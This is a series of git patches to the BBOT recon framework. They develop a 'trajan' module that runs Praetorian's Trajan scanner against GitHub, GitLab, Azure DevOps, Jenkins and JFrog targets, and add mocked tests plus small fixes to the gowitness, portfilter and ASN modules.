trajan_jfrog_output, "") + return CompletedProcess(cmd, 1, "", "") + + module_test.monkeypatch.setattr(module_test.scan.helpers, "run", mock_run) + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + assert len(findings) == 2, f"Expected 2 FINDINGs (1 artifact + 1 build secret), got {len(findings)}" + artifact_findings = [e for e in findings if "Artifact Secret" in e.data["name"]] + assert len(artifact_findings) == 1 + assert "aws_access_key" in artifact_findings[0].data["name"] + assert "config.yaml" in artifact_findings[0].data["description"] + build_findings = [e for e in findings if "Build Secret" in e.data["name"]] + assert len(build_findings) == 1 + assert "aws_secret_key" in build_findings[0].data["name"] + assert "release-pipeline" in build_findings[0].data["description"] + + +class TestTrajanJenkins(ModuleTestBase): + targets = ["https://jenkins.blacklanternsecurity.com/job/deploy-pipeline"] + modules_overrides = ["trajan"] + config_overrides = {"modules": {"trajan": {"jenkins_token": "test-jenkins-token"}}} + + async def setup_after_prep(self, module_test): + async def mock_run(*command, **kwargs): + cmd = command[0] if len(command) == 1 and isinstance(command[0], list) else list(command) + if "trajan" in cmd: + assert "jenkins" in cmd + assert "--url" in cmd + url_idx = cmd.index("--url") + assert cmd[url_idx + 1] == "https://jenkins.blacklanternsecurity.com" + assert "--repo" in cmd + repo_idx = cmd.index("--repo") + assert cmd[repo_idx + 1] == "deploy-pipeline" + assert "--token" in cmd + token_idx = cmd.index("--token") + assert cmd[token_idx + 1] == "test-jenkins-token" + return CompletedProcess(cmd, 0, trajan_jenkins_output, "") + return CompletedProcess(cmd, 1, "", "") + + module_test.monkeypatch.setattr(module_test.scan.helpers, "run", mock_run) + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + assert len(findings) == 1, f"Expected 1 FINDING, got {len(findings)}" + finding = findings[0] + assert "jenkins_script_console" in finding.data["name"] + assert finding.data["severity"] == "CRITICAL" From b2fb831dd9b4895d609c5db9ffde18e4291bd80b Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 16 Mar 2026 11:42:51 -0400 Subject: [PATCH 316/912] add technology consumption --- bbot/modules/trajan.py | 235 ++++++++++++------ .../module_tests/test_module_trajan.py | 55 +++- 2 files changed, 208 insertions(+), 82 deletions(-) diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index 67561df60d..ed978e587d 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -1,8 +1,11 @@ import json +from urllib.parse import urlparse + from bbot.modules.base import BaseModule + class trajan(BaseModule): - watched_events = ["CODE_REPOSITORY", "URL_UNVERIFIED"] + watched_events = ["CODE_REPOSITORY", "URL_UNVERIFIED", "TECHNOLOGY"] produced_events = ["FINDING"] flags = ["passive", "safe", "code-enum"] meta = { @@ -44,9 +47,24 @@ class trajan(BaseModule): } ] + # Platform detection from URL domains (SaaS platforms) + domain_platforms = { + "github.com": "github", + "gitlab.com": "gitlab", + "jfrog.com": "jfrog", + "jfrog.io": "jfrog", + } + + # Platform detection from TECHNOLOGY event names (lowercased) + technology_platforms = { + "jenkins": "jenkins", + "jfrog": "jfrog", + "artifactory": "jfrog", + } + async def setup(self): self.github_token = self.config.get("github_token", "") - + # Borrow GitHub token from other modules if not explicitly set if not self.github_token: for module_name in ("github", "github_codesearch", "github_org", "git_clone"): @@ -56,21 +74,70 @@ async def setup(self): self.github_token = api_key self.debug(f"Borrowing GitHub token from {module_name}") break - + self.gitlab_token = self.config.get("gitlab_token", "") self.ado_token = self.config.get("ado_token", "") self.jfrog_token = self.config.get("jfrog_token", "") self.jenkins_username = self.config.get("jenkins_username", "") self.jenkins_password = self.config.get("jenkins_password", "") self.jenkins_token = self.config.get("jenkins_token", "") + self._scanned = set() + return True + + def detect_platform_from_url(self, hostname, domain): + """Detect platform from URL hostname/domain.""" + if domain == "azure.com" and hostname.startswith("dev."): + return "ado" + return self.domain_platforms.get(domain) + + def detect_platform_from_technology(self, technology): + """Detect platform from a TECHNOLOGY event's technology name.""" + return self.technology_platforms.get(technology.lower()) + + async def filter_event(self, event): + if event.type == "TECHNOLOGY": + tech = event.data.get("technology", "").lower() + if tech not in self.technology_platforms: + return False, f"technology '{tech}' is not supported by trajan" + if not event.data.get("url"): + return False, "TECHNOLOGY event has no URL" return True async def handle_event(self, event): - repo_url = "" + if event.type == "TECHNOLOGY": + await self.handle_technology(event) + else: + await self.handle_url(event) + + async def handle_technology(self, event): + tech = event.data.get("technology", "").lower() + platform = self.detect_platform_from_technology(tech) + if not platform: + return + + url = event.data.get("url", "") + parsed = urlparse(url) + base_url = f"{parsed.scheme}://{parsed.netloc}" + path_parts = [p for p in parsed.path.strip("/").split("/") if p] + + # Deduplicate: don't scan the same base URL + platform twice + dedup_key = f"{platform}:{base_url}" + if dedup_key in self._scanned: + self.debug(f"Already scanned {base_url} as {platform}, skipping") + return + self._scanned.add(dedup_key) + + handler = getattr(self, f"handle_{platform}", None) + if handler: + await handler(event, parsed, base_url, path_parts) + + async def handle_url(self, event): if event.type == "CODE_REPOSITORY": repo_url = event.data.get("url", "") elif event.type == "URL_UNVERIFIED": repo_url = str(event.data) + else: + return if not repo_url: return @@ -83,81 +150,89 @@ async def handle_event(self, event): return _, domain = self.helpers.split_domain(hostname) - path_parts = [p for p in parsed.path.strip("/").split("/") if p] base_url = f"{parsed.scheme}://{parsed.netloc}" + path_parts = [p for p in parsed.path.strip("/").split("/") if p] + + platform = self.detect_platform_from_url(hostname, domain) + if not platform: + return + + # Deduplicate: don't scan the same base URL + platform twice + dedup_key = f"{platform}:{base_url}" + if dedup_key in self._scanned: + self.debug(f"Already scanned {base_url} as {platform}, skipping") + return + self._scanned.add(dedup_key) + + handler = getattr(self, f"handle_{platform}", None) + if handler: + await handler(event, parsed, base_url, path_parts) + + async def handle_github(self, event, parsed, base_url, path_parts): + if not self.github_token: + self.warning(f"Skipping {base_url} - GitHub token required for Trajan") + return + if len(path_parts) < 2: + return + repo_path = f"{path_parts[0]}/{path_parts[1]}" + command = ["trajan", "github", "scan", "--repo", repo_path, "-o", "json", "--token", self.github_token] + self.verbose(f"Scanning GitHub {repo_path} with Trajan") + await self.execute_trajan(command, event) + + async def handle_gitlab(self, event, parsed, base_url, path_parts): + if not self.gitlab_token: + self.warning(f"Skipping {base_url} - GitLab token required for Trajan") + return + if len(path_parts) < 2: + return + repo_path = f"{path_parts[0]}/{path_parts[1]}" + command = ["trajan", "gitlab", "scan", "--project", repo_path, "-o", "json", "--token", self.gitlab_token] + self.verbose(f"Scanning GitLab {repo_path} with Trajan") + await self.execute_trajan(command, event) + + async def handle_ado(self, event, parsed, base_url, path_parts): + if not self.ado_token: + self.warning(f"Skipping {base_url} - Azure DevOps token required for Trajan") + return + # e.g., https://dev.azure.com/org/project/_git/repo + if len(path_parts) < 4 or path_parts[2] != "_git": + return + org = path_parts[0] + project = path_parts[1] + repo = path_parts[3] + repo_path = f"{project}/{repo}" + command = ["trajan", "ado", "scan", "--org", org, "--repo", repo_path, "-o", "json", "--token", self.ado_token] + self.verbose(f"Scanning Azure DevOps {org}/{repo_path} with Trajan") + await self.execute_trajan(command, event) + + async def handle_jfrog(self, event, parsed, base_url, path_parts): + if not self.jfrog_token: + self.warning(f"Skipping {base_url} - JFrog token required for Trajan") + return + command = ["trajan", "jfrog", "scan", "--url", base_url, "--secrets", "-o", "json", "--token", self.jfrog_token] + self.verbose(f"Scanning JFrog {base_url} with Trajan") + await self.execute_trajan(command, event, is_jfrog=True) + + async def handle_jenkins(self, event, parsed, base_url, path_parts): + if not self.jenkins_token and not (self.jenkins_username and self.jenkins_password): + self.warning(f"Skipping {base_url} - Jenkins token or username/password required for Trajan") + return + command = ["trajan", "jenkins", "scan", "--url", base_url, "-o", "json"] + # Check if it's a specific job + try: + job_idx = path_parts.index("job") + if job_idx + 1 < len(path_parts): + command.extend(["--repo", path_parts[job_idx + 1]]) + except ValueError: + pass + if self.jenkins_token: + command.extend(["--token", self.jenkins_token]) + if self.jenkins_username and self.jenkins_password: + command.extend(["--username", self.jenkins_username, "--password", self.jenkins_password]) + self.verbose(f"Scanning Jenkins {base_url} with Trajan") + await self.execute_trajan(command, event) - command = None - - # GitHub - if domain == "github.com": - if not self.github_token: - self.warning(f"Skipping {repo_url} - GitHub token required for Trajan") - return - if len(path_parts) >= 2: - repo_path = f"{path_parts[0]}/{path_parts[1]}" - command = ["trajan", "github", "scan", "--repo", repo_path, "-o", "json"] - command.extend(["--token", self.github_token]) - self.verbose(f"Scanning GitHub {repo_path} with Trajan") - - # GitLab - elif domain == "gitlab.com": - if not self.gitlab_token: - self.warning(f"Skipping {repo_url} - GitLab token required for Trajan") - return - if len(path_parts) >= 2: - repo_path = f"{path_parts[0]}/{path_parts[1]}" - command = ["trajan", "gitlab", "scan", "--project", repo_path, "-o", "json"] - command.extend(["--token", self.gitlab_token]) - self.verbose(f"Scanning GitLab {repo_path} with Trajan") - - # Azure DevOps - elif domain == "azure.com" and hostname.startswith("dev."): - if not self.ado_token: - self.warning(f"Skipping {repo_url} - Azure DevOps token required for Trajan") - return - # e.g., https://dev.azure.com/org/project/_git/repo - if len(path_parts) >= 4 and path_parts[2] == "_git": - org = path_parts[0] - project = path_parts[1] - repo = path_parts[3] - repo_path = f"{project}/{repo}" - command = ["trajan", "ado", "scan", "--org", org, "--repo", repo_path, "-o", "json"] - command.extend(["--token", self.ado_token]) - self.verbose(f"Scanning Azure DevOps {org}/{repo_path} with Trajan") - - # JFrog - elif "jfrog" in domain or "artifactory" in hostname: - if not self.jfrog_token: - self.warning(f"Skipping {repo_url} - JFrog token required for Trajan") - return - command = ["trajan", "jfrog", "scan", "--url", base_url, "--secrets", "-o", "json"] - command.extend(["--token", self.jfrog_token]) - self.verbose(f"Scanning JFrog {base_url} with Trajan") - - # Jenkins - elif "jenkins" in hostname: - if not self.jenkins_token and not (self.jenkins_username and self.jenkins_password): - self.warning(f"Skipping {repo_url} - Jenkins token or username/password required for Trajan") - return - command = ["trajan", "jenkins", "scan", "--url", base_url, "-o", "json"] - # Check if it's a specific job - try: - job_idx = path_parts.index("job") - if job_idx + 1 < len(path_parts): - command.extend(["--repo", path_parts[job_idx + 1]]) - except ValueError: - pass - if self.jenkins_token: - command.extend(["--token", self.jenkins_token]) - if self.jenkins_username and self.jenkins_password: - command.extend(["--username", self.jenkins_username, "--password", self.jenkins_password]) - self.verbose(f"Scanning Jenkins {repo_url} with Trajan") - - if not command: - return - - # Execute and parse output - is_jfrog = "jfrog" in command + async def execute_trajan(self, command, event, is_jfrog=False): process = await self.helpers.run(command) if not process or not process.stdout: return @@ -179,7 +254,7 @@ async def parse_findings(self, result, event): "name": f"Trajan - {finding_data.get('type', 'unknown')}", "description": finding_data.get("evidence", "No description provided."), "severity": finding_data.get("severity", "info").upper(), - "confidence": "MODERATE", + "confidence": "MEDIUM", "host": event.host, } workflow = finding_data.get("workflow", "") @@ -193,7 +268,7 @@ async def parse_jfrog_results(self, result, event): "name": f"Trajan - JFrog Artifact Secret ({', '.join(secret.get('secretTypes', []))})", "description": f"Secret found in artifact {secret.get('artifact', 'unknown')} at path {secret.get('path', 'unknown')}", "severity": "HIGH", - "confidence": "CONFIRMED", + "confidence": "HIGH", "host": event.host, } await self.emit_event(finding, "FINDING", event) @@ -202,7 +277,7 @@ async def parse_jfrog_results(self, result, event): "name": f"Trajan - JFrog Build Secret ({', '.join(secret.get('secretTypes', []))})", "description": f"Secret found in build {secret.get('buildName', 'unknown')} #{secret.get('buildNumber', '?')} env var {secret.get('envVar', 'unknown')}", "severity": "HIGH", - "confidence": "CONFIRMED", + "confidence": "HIGH", "host": event.host, } await self.emit_event(finding, "FINDING", event) diff --git a/bbot/test/test_step_2/module_tests/test_module_trajan.py b/bbot/test/test_step_2/module_tests/test_module_trajan.py index 3ee95e5efc..46623ad575 100644 --- a/bbot/test/test_step_2/module_tests/test_module_trajan.py +++ b/bbot/test/test_step_2/module_tests/test_module_trajan.py @@ -245,18 +245,28 @@ def check(self, module_test, events): class TestTrajanJenkins(ModuleTestBase): - targets = ["https://jenkins.blacklanternsecurity.com/job/deploy-pipeline"] + """Test Jenkins detection via TECHNOLOGY event on a non-jenkins hostname.""" + + targets = ["blacklanternsecurity.com"] modules_overrides = ["trajan"] config_overrides = {"modules": {"trajan": {"jenkins_token": "test-jenkins-token"}}} async def setup_after_prep(self, module_test): + # Inject a TECHNOLOGY event as if gowitness/shodan detected Jenkins + tech_event = module_test.scan.make_event( + {"technology": "jenkins", "url": "https://ci.blacklanternsecurity.com:8080/job/deploy-pipeline", "host": "ci.blacklanternsecurity.com"}, + "TECHNOLOGY", + parent=module_test.scan.root_event, + ) + await module_test.scan.ingress_module.queue_event(tech_event, {}) + async def mock_run(*command, **kwargs): cmd = command[0] if len(command) == 1 and isinstance(command[0], list) else list(command) if "trajan" in cmd: assert "jenkins" in cmd assert "--url" in cmd url_idx = cmd.index("--url") - assert cmd[url_idx + 1] == "https://jenkins.blacklanternsecurity.com" + assert cmd[url_idx + 1] == "https://ci.blacklanternsecurity.com:8080" assert "--repo" in cmd repo_idx = cmd.index("--repo") assert cmd[repo_idx + 1] == "deploy-pipeline" @@ -274,3 +284,44 @@ def check(self, module_test, events): finding = findings[0] assert "jenkins_script_console" in finding.data["name"] assert finding.data["severity"] == "CRITICAL" + + +class TestTrajanJfrogTechnology(ModuleTestBase): + """Test JFrog/Artifactory detection via TECHNOLOGY event on a non-jfrog hostname.""" + + targets = ["blacklanternsecurity.com"] + modules_overrides = ["trajan"] + config_overrides = {"modules": {"trajan": {"jfrog_token": "test-jfrog-token"}}} + + async def setup_after_prep(self, module_test): + # Inject an "artifactory" TECHNOLOGY event on a self-hosted instance + tech_event = module_test.scan.make_event( + {"technology": "artifactory", "url": "https://artifacts.blacklanternsecurity.com/", "host": "artifacts.blacklanternsecurity.com"}, + "TECHNOLOGY", + parent=module_test.scan.root_event, + ) + await module_test.scan.ingress_module.queue_event(tech_event, {}) + + async def mock_run(*command, **kwargs): + cmd = command[0] if len(command) == 1 and isinstance(command[0], list) else list(command) + if "trajan" in cmd: + assert "jfrog" in cmd + assert "--url" in cmd + url_idx = cmd.index("--url") + assert cmd[url_idx + 1] == "https://artifacts.blacklanternsecurity.com" + assert "--secrets" in cmd + assert "--token" in cmd + token_idx = cmd.index("--token") + assert cmd[token_idx + 1] == "test-jfrog-token" + return CompletedProcess(cmd, 0, trajan_jfrog_output, "") + return CompletedProcess(cmd, 1, "", "") + + module_test.monkeypatch.setattr(module_test.scan.helpers, "run", mock_run) + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING"] + assert len(findings) == 2, f"Expected 2 FINDINGs (1 artifact + 1 build secret), got {len(findings)}" + artifact_findings = [e for e in findings if "Artifact Secret" in e.data["name"]] + assert len(artifact_findings) == 1 + build_findings = [e for e in findings if "Build Secret" in e.data["name"]] + assert len(build_findings) == 1 From 6edb807abe1f1c4a26abb8f25498b5bf9ac736cb Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 16 Mar 2026 11:50:35 -0400 Subject: [PATCH 317/912] better deduping --- bbot/modules/trajan.py | 57 ++++++++++++++---------------------------- 1 file changed, 19 insertions(+), 38 deletions(-) diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index ed978e587d..aefa2ff4cc 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -10,7 +10,7 @@ class trajan(BaseModule): flags = ["passive", "safe", "code-enum"] meta = { "description": "Scans GitHub, GitLab, Azure DevOps, Jenkins, and JFrog for misconfigurations using Praetorian's Trajan tool", - "author": "N7WERA", + "author": "@N7WERA", } # Configuration options @@ -81,7 +81,6 @@ async def setup(self): self.jenkins_username = self.config.get("jenkins_username", "") self.jenkins_password = self.config.get("jenkins_password", "") self.jenkins_token = self.config.get("jenkins_token", "") - self._scanned = set() return True def detect_platform_from_url(self, hostname, domain): @@ -94,6 +93,19 @@ def detect_platform_from_technology(self, technology): """Detect platform from a TECHNOLOGY event's technology name.""" return self.technology_platforms.get(technology.lower()) + def _get_platform(self, event): + """Detect the platform for an event, or None if not applicable.""" + if event.type == "TECHNOLOGY": + tech = event.data.get("technology", "").lower() + return self.detect_platform_from_technology(tech) + hostname = str(event.host) + _, domain = self.helpers.split_domain(hostname) + return self.detect_platform_from_url(hostname, domain) + + def _incoming_dedup_hash(self, event): + platform = self._get_platform(event) + return hash(f"{platform}:{event.host}"), f"already scanned {event.host} as {platform}" + async def filter_event(self, event): if event.type == "TECHNOLOGY": tech = event.data.get("technology", "").lower() @@ -101,6 +113,10 @@ async def filter_event(self, event): return False, f"technology '{tech}' is not supported by trajan" if not event.data.get("url"): return False, "TECHNOLOGY event has no URL" + + platform = self._get_platform(event) + if platform is None: + return False, "could not determine platform from event" return True async def handle_event(self, event): @@ -112,58 +128,23 @@ async def handle_event(self, event): async def handle_technology(self, event): tech = event.data.get("technology", "").lower() platform = self.detect_platform_from_technology(tech) - if not platform: - return - url = event.data.get("url", "") parsed = urlparse(url) base_url = f"{parsed.scheme}://{parsed.netloc}" path_parts = [p for p in parsed.path.strip("/").split("/") if p] - # Deduplicate: don't scan the same base URL + platform twice - dedup_key = f"{platform}:{base_url}" - if dedup_key in self._scanned: - self.debug(f"Already scanned {base_url} as {platform}, skipping") - return - self._scanned.add(dedup_key) - handler = getattr(self, f"handle_{platform}", None) if handler: await handler(event, parsed, base_url, path_parts) async def handle_url(self, event): - if event.type == "CODE_REPOSITORY": - repo_url = event.data.get("url", "") - elif event.type == "URL_UNVERIFIED": - repo_url = str(event.data) - else: - return - - if not repo_url: - return - parsed = getattr(event, "parsed_url", None) - if parsed is None: - return hostname = parsed.hostname - if not hostname: - return - _, domain = self.helpers.split_domain(hostname) + platform = self.detect_platform_from_url(hostname, domain) base_url = f"{parsed.scheme}://{parsed.netloc}" path_parts = [p for p in parsed.path.strip("/").split("/") if p] - platform = self.detect_platform_from_url(hostname, domain) - if not platform: - return - - # Deduplicate: don't scan the same base URL + platform twice - dedup_key = f"{platform}:{base_url}" - if dedup_key in self._scanned: - self.debug(f"Already scanned {base_url} as {platform}, skipping") - return - self._scanned.add(dedup_key) - handler = getattr(self, f"handle_{platform}", None) if handler: await handler(event, parsed, base_url, path_parts) From 6daf761530b811c6a33868f043961cf326fba32a Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 16 Mar 2026 11:57:56 -0400 Subject: [PATCH 318/912] ruffed --- bbot/modules/trajan.py | 13 ++++++++++++- .../test_step_2/module_tests/test_module_trajan.py | 12 ++++++++++-- 2 files changed, 22 insertions(+), 3 deletions(-) diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index aefa2ff4cc..fd586f2dce 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -190,7 +190,18 @@ async def handle_jfrog(self, event, parsed, base_url, path_parts): if not self.jfrog_token: self.warning(f"Skipping {base_url} - JFrog token required for Trajan") return - command = ["trajan", "jfrog", "scan", "--url", base_url, "--secrets", "-o", "json", "--token", self.jfrog_token] + command = [ + "trajan", + "jfrog", + "scan", + "--url", + base_url, + "--secrets", + "-o", + "json", + "--token", + self.jfrog_token, + ] self.verbose(f"Scanning JFrog {base_url} with Trajan") await self.execute_trajan(command, event, is_jfrog=True) diff --git a/bbot/test/test_step_2/module_tests/test_module_trajan.py b/bbot/test/test_step_2/module_tests/test_module_trajan.py index 46623ad575..978bb23d7d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_trajan.py +++ b/bbot/test/test_step_2/module_tests/test_module_trajan.py @@ -254,7 +254,11 @@ class TestTrajanJenkins(ModuleTestBase): async def setup_after_prep(self, module_test): # Inject a TECHNOLOGY event as if gowitness/shodan detected Jenkins tech_event = module_test.scan.make_event( - {"technology": "jenkins", "url": "https://ci.blacklanternsecurity.com:8080/job/deploy-pipeline", "host": "ci.blacklanternsecurity.com"}, + { + "technology": "jenkins", + "url": "https://ci.blacklanternsecurity.com:8080/job/deploy-pipeline", + "host": "ci.blacklanternsecurity.com", + }, "TECHNOLOGY", parent=module_test.scan.root_event, ) @@ -296,7 +300,11 @@ class TestTrajanJfrogTechnology(ModuleTestBase): async def setup_after_prep(self, module_test): # Inject an "artifactory" TECHNOLOGY event on a self-hosted instance tech_event = module_test.scan.make_event( - {"technology": "artifactory", "url": "https://artifacts.blacklanternsecurity.com/", "host": "artifacts.blacklanternsecurity.com"}, + { + "technology": "artifactory", + "url": "https://artifacts.blacklanternsecurity.com/", + "host": "artifacts.blacklanternsecurity.com", + }, "TECHNOLOGY", parent=module_test.scan.root_event, ) From 09ffde48edd9d04c62c13e54b7121ed39665cdd6 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Mon, 16 Mar 2026 13:04:58 -0400 Subject: [PATCH 319/912] created date --- bbot/modules/trajan.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index fd586f2dce..7a126168d8 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -10,6 +10,7 @@ class trajan(BaseModule): flags = ["passive", "safe", "code-enum"] meta = { "description": "Scans GitHub, GitLab, Azure DevOps, Jenkins, and JFrog for misconfigurations using Praetorian's Trajan tool", + "created_date": "2026-04-11", "author": "@N7WERA", } From 47ce0987fe50d086219170e44bc8ea5a1ee40d94 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Tue, 17 Mar 2026 13:59:46 -0400 Subject: [PATCH 320/912] fix gowitness bug --- bbot/modules/gowitness.py | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index d3cb6a54e8..4518f5b70e 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -197,8 +197,11 @@ async def handle_batch(self, *events): tags = [f"status-{status_code}", f"ip-{ip}", "spider-danger"] _id = row["result_id"] - parent_url = self.screenshots_taken[_id] - parent_event = event_dict[parent_url] + parent_url = self.helpers.clean_url(self.screenshots_taken[_id]).geturl() + parent_event = event_dict.get(parent_url) + if parent_event is None: + self.warning(f"Could not correlate network log to parent event for URL: {self.screenshots_taken[_id]}") + continue if url and url.startswith("http"): await self.emit_event( url, @@ -212,8 +215,11 @@ async def handle_batch(self, *events): new_technologies = await self.get_new_technologies() for row in new_technologies.values(): parent_id = row["result_id"] - parent_url = self.screenshots_taken[parent_id] - parent_event = event_dict[parent_url] + parent_url = self.helpers.clean_url(self.screenshots_taken[parent_id]).geturl() + parent_event = event_dict.get(parent_url) + if parent_event is None: + self.warning(f"Could not correlate technology to parent event for URL: {self.screenshots_taken[parent_id]}") + continue technology = row["value"] tech_data = {"technology": technology, "url": parent_url, "host": str(parent_event.host)} await self.emit_event( From 8d56a8b9b81b5d0eef6843a224c7f0faee1a6969 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Tue, 17 Mar 2026 14:01:24 -0400 Subject: [PATCH 321/912] ruffed --- bbot/modules/gowitness.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index 4518f5b70e..0e515b48ce 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -218,7 +218,9 @@ async def handle_batch(self, *events): parent_url = self.helpers.clean_url(self.screenshots_taken[parent_id]).geturl() parent_event = event_dict.get(parent_url) if parent_event is None: - self.warning(f"Could not correlate technology to parent event for URL: {self.screenshots_taken[parent_id]}") + self.warning( + f"Could not correlate technology to parent event for URL: {self.screenshots_taken[parent_id]}" + ) continue technology = row["value"] tech_data = {"technology": technology, "url": parent_url, "host": str(parent_event.host)} From 483ce78aad09077a2ca6c571bb70c44a227b7283 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Tue, 17 Mar 2026 14:56:55 -0400 Subject: [PATCH 322/912] fix portfilter for waf --- bbot/modules/portfilter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/portfilter.py b/bbot/modules/portfilter.py index 43b3e97d5b..88cf0e0518 100644 --- a/bbot/modules/portfilter.py +++ b/bbot/modules/portfilter.py @@ -10,7 +10,7 @@ class portfilter(BaseInterceptModule): "author": "@TheTechromancer", } options = { - "cdn_tags": "cdn-", + "cdn_tags": "cdn-,waf-", "allowed_cdn_ports": "80,443", } options_desc = { From 34020c00a22081eb21dc002b7a161b2d8ece81d0 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Fri, 20 Mar 2026 10:44:58 -0400 Subject: [PATCH 323/912] run_process() fix, jenkins warning --- bbot/modules/trajan.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index 7a126168d8..71970b6e7f 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -82,6 +82,10 @@ async def setup(self): self.jenkins_username = self.config.get("jenkins_username", "") self.jenkins_password = self.config.get("jenkins_password", "") self.jenkins_token = self.config.get("jenkins_token", "") + if self.jenkins_token or (self.jenkins_username and self.jenkins_password): + self.warning( + "Jenkins credentials are configured. These will be sent to ANY in-scope server detected as Jenkins!" + ) return True def detect_platform_from_url(self, hostname, domain): @@ -226,7 +230,7 @@ async def handle_jenkins(self, event, parsed, base_url, path_parts): await self.execute_trajan(command, event) async def execute_trajan(self, command, event, is_jfrog=False): - process = await self.helpers.run(command) + process = await self.helpers.run_process(command) if not process or not process.stdout: return From 4e9c51201e7da40a09ab66b2ae6df80cc9e526d5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 20 Mar 2026 13:24:55 -0400 Subject: [PATCH 324/912] Clarify seed expansion scope guard naming and comments --- bbot/scanner/target.py | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 4160470b4b..c321439f60 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -401,10 +401,9 @@ async def generate_children(self): Generate children for the target, for seed types that expand into other seed types. E.g. ASN targets are expanded into their constituent IP ranges. """ - # Check if this target had a custom target scope (target different from the default seed hosts) - # Compare inputs (strings) to inputs (strings) to avoid type mismatches - # between string inputs and host objects (IP networks, etc.) - had_custom_target = set(self.target.inputs) != set(self.seeds.inputs) + # If the user explicitly set a narrower target scope than their seeds + # (e.g. `-t evilcorp.com -s AS1234`), don't widen the target with expanded seeds + has_explicit_scope = set(self.target.inputs) != set(self.seeds.inputs) # Expand seeds first for event_seed in list(self.seeds.event_seeds): @@ -418,10 +417,9 @@ async def generate_children(self): for child in children: self.blacklist.add(child) - # After expanding seeds, update the target to include any new hosts from seed expansion - # This ensures that expanded targets (like IP ranges from ASN) are considered in-scope - # BUT only if no custom target was provided - don't override user's custom target - if not had_custom_target: + # Widen target scope to include expanded seed hosts (e.g. IP ranges from ASN), + # but only when seeds and target were originally the same + if not has_explicit_scope: expanded_seed_hosts = set(self.seeds.hosts) for host in expanded_seed_hosts: if host not in self.target: From 5a587ac33963e2a27903135c8b7f62c55f790da5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 20 Mar 2026 13:41:09 -0400 Subject: [PATCH 325/912] Use real asndb API in ASN module test instead of mocks --- bbot/test/conftest.py | 2 +- .../module_tests/test_module_asn.py | 22 +++---------------- 2 files changed, 4 insertions(+), 20 deletions(-) diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py index 59cbba2a6b..4cffa18a85 100644 --- a/bbot/test/conftest.py +++ b/bbot/test/conftest.py @@ -94,7 +94,7 @@ def bbot_httpserver_ssl(): def should_mock(request): - return request.url.host not in ["127.0.0.1", "localhost", "raw.githubusercontent.com"] + interactsh_servers + return request.url.host not in ["127.0.0.1", "localhost", "raw.githubusercontent.com", "asndb.api.bbot.io"] + interactsh_servers def pytest_collection_modifyitems(config, items): diff --git a/bbot/test/test_step_2/module_tests/test_module_asn.py b/bbot/test/test_step_2/module_tests/test_module_asn.py index 2032b09715..ff1212fdf8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asn.py +++ b/bbot/test/test_step_2/module_tests/test_module_asn.py @@ -2,28 +2,12 @@ class TestASNHelper(ModuleTestBase): - """Simple test for ASN module using mocked asndb library.""" + """Test ASN module with real asndb lookup against Google's 8.8.8.8 (AS15169).""" targets = ["8.8.8.8"] module_name = "asn" - modules_overrides = ["asn"] - config_overrides = {"scope": {"report_distance": 2}} - - asndb_response = { - "asn": 15169, - "subnets": ["8.8.8.0/24"], - "asn_name": "GOOGLE", - "org": "Google LLC", - "country": "US", - } - - async def setup_after_prep(self, module_test): - from unittest.mock import AsyncMock - - asn_helper = module_test.scan.helpers.asn - asn_helper._client = AsyncMock() - asn_helper._client.lookup_ip = AsyncMock(return_value=self.asndb_response) - asn_helper._client.lookup_asn = AsyncMock(return_value=self.asndb_response) + modules_overrides = ["asn", "speculate"] + config_overrides = {"scope": {"report_distance": 2}, "speculate": True} def check(self, module_test, events): asn_events = [e for e in events if e.type == "ASN"] From e3e5a8909ea42d232ea1b8851b64dcf17f8a5cf4 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Fri, 20 Mar 2026 13:52:14 -0400 Subject: [PATCH 326/912] fix run process --- bbot/modules/trajan.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index 71970b6e7f..40d71936c2 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -230,7 +230,7 @@ async def handle_jenkins(self, event, parsed, base_url, path_parts): await self.execute_trajan(command, event) async def execute_trajan(self, command, event, is_jfrog=False): - process = await self.helpers.run_process(command) + process = await self.run_process(command) if not process or not process.stdout: return From 